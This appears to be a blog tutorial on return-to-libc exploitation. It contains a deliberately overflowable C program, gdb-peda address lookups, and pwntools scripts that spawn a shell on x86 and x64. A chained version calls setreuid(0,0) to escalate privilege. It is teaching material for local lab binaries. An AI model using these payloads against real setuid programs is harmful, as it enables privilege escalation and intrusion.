Return To Library
This time, i gonna introduce about RTL attack techniques(Return To Library).
This technique is usually used to bypass memory mitigation, NX(Non eXecutable). When NX is enabled, there isn't 'eXecutable' permission so even shellcode that executes /bin/sh is in stack, it won't be executed.
Then, what is RTL? RTL is a technique that overwriting RET with library function address like system(). When RET is executed, system() will be also executed.That's main purpose of RTL. Of course, we need to input some arguments for system (ex) /bin/sh).
Then, approximate payload is...
1 2 3 | --------------------------------------------- AAAAAAAA... | ret(system()) | BBBB | &/bin/sh --------------------------------------------- | cs |
Overwriting system() address to RET, and address of /bin/sh to ebp+8 because function takes its arguments from ebp+8.
Then, it would be system(&/bin/sh). After run that function. eip would go to ebp + 4. Details about this would be explained on calling convention part.
Here is the vulnerable code.
1 2 3 4 5 6 7 8 9 10 11 12 | #include <stdio.h> #include <string.h> #define size 32 int main() { char buf[size] = {0, }; read(0, buf, size * 2); printf("What u say ... %s\n", buf); return 1; } | cs |
At line 7, there is stack overflow bug which getting 32 * 2 length's data even 'buf' size is 32. So we can overwrite RET over 'buf' area.
Let's see how RTL works.
First, we need to find system() address and where /bin/sh string is. If there are more mitigations, it would be more harder to exploit. leaking libc address, getting offset of two functions... Anyway, this time, there are no aslr, pie! It means library and stack address is fixed! Also u can easily find useful information with gdb-peda. Like below.
1 2 3 4 5 6 | gdb-peda$ p system $1 = {<text variable, no debug info>} 0x555da020 <system> gdb-peda$ find /bin/sh Searching for '/bin/sh' in: None ranges Found 1 results, display max 1 items: libc : 0x556fe60f ("/bin/sh") | cs |
Or u can find /bin/sh string on memory with following code. Because there is /bin/sh string near system() address in the libc. But not working with x64 address.
1 2 3 4 5 6 7 8 | #include <stdio.h> int main(){ long shell = 0x555da020; while(memcmp((void *)shell, "/bin/sh", 8)) shell++; printf("/bin/sh Address : %#x\n", shell); } | cs |
Here is final exploit codes.
- x86
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | from pwn import * f = process('./rtl1-x86') binsh = 0x556fe60f system = 0x555da020 payload = "A"*40 payload += p32(system) payload += "BBBB" payload += p32(binsh) # system(binsh) f.send(payload) f.interactive() | cs |
- x64
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | from pwn import * f = process('./rtl1-x64') binsh = 0x2aaaaae5bfc0 system = 0x2aaaaad176d0 payload = "AAAAAAAA"*5 payload += p64(system) payload += "BBBBBBBB" payload += p64(binsh) # system(binsh) f.send(payload) f.interactive() | cs |
And successfully got shell!
-x86
1 2 3 4 5 6 7 | zero@ubuntu:~/Desktop/pwn/RTL$ python rtl1-x86.py [+] Starting local process './rtl1-x86': Done [*] Switching to interactive mode What u say ... AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \xa0]UBBBB\x0f�oU\��\xff $ id uid=1000(zero) gid=1000(zero) groups=1000(zero),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),121(lpadmin),132(sambashare) | cs |
We got the shell. But there is one more problem. Let's assume 'rtl1-x64, rtl1-x86' are binaries which have S permission at user 'root' and finally get shell. But u can't see a privilege what u are looking for. Because of the library.
After libc version 2.x, system() will be executed with lower permission, not user's. Which means, we need to set uid again with setreuid(). Which also means, that function could be in our payload too.
How could it be?
So there is an another concept called 'RTL chaining'. 'RTL Chaining' let us execute functions on and on. By using pop-...-ret gadget, arguments will be popped(pop, ...) and function will be executed(ret). Details about that will be introduced at ROP. Approximate flow seems like below.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | from pwn import * f = process('./rtl1-x64') ppr = 0x4005e1 exit = 0x7ffff7a4b320 binsh = 0x7ffff7b9afc0 system = 0x7ffff7a566d0 setreuid = 0x7ffff7b0ea60 payload = "AAAAAAAA" * 9 payload += p64(setreuid) payload += p64(ppr) payload += p64(0) payload += p64(0) # setreuid(0, 0) payload += p64(system) payload += p64(exit) payload += p64(binsh) # system('/bin/sh') f.sendline(payload) f.interactive() | cs |
pop ... pop .. gadgets will pop 0, 0 and ret makes system() be executing.
'Security > System Hacking' 카테고리의 다른 글
[System Hacking] 5. Return Oriented Programming (0) | 2016.12.27 |
---|---|
[System Hacking] 4. Memory Mitigations on Linux and Windows (0) | 2016.12.25 |
[System Hacking] 2. Basic Format String Bug (0) | 2016.12.23 |
[System Hacking] 1. Basic Buffer Over Flow Exploit (0) | 2016.12.23 |
[System Hacking] 10. Return Oriented Programming on x86-64 linux (0) | 2015.11.28 |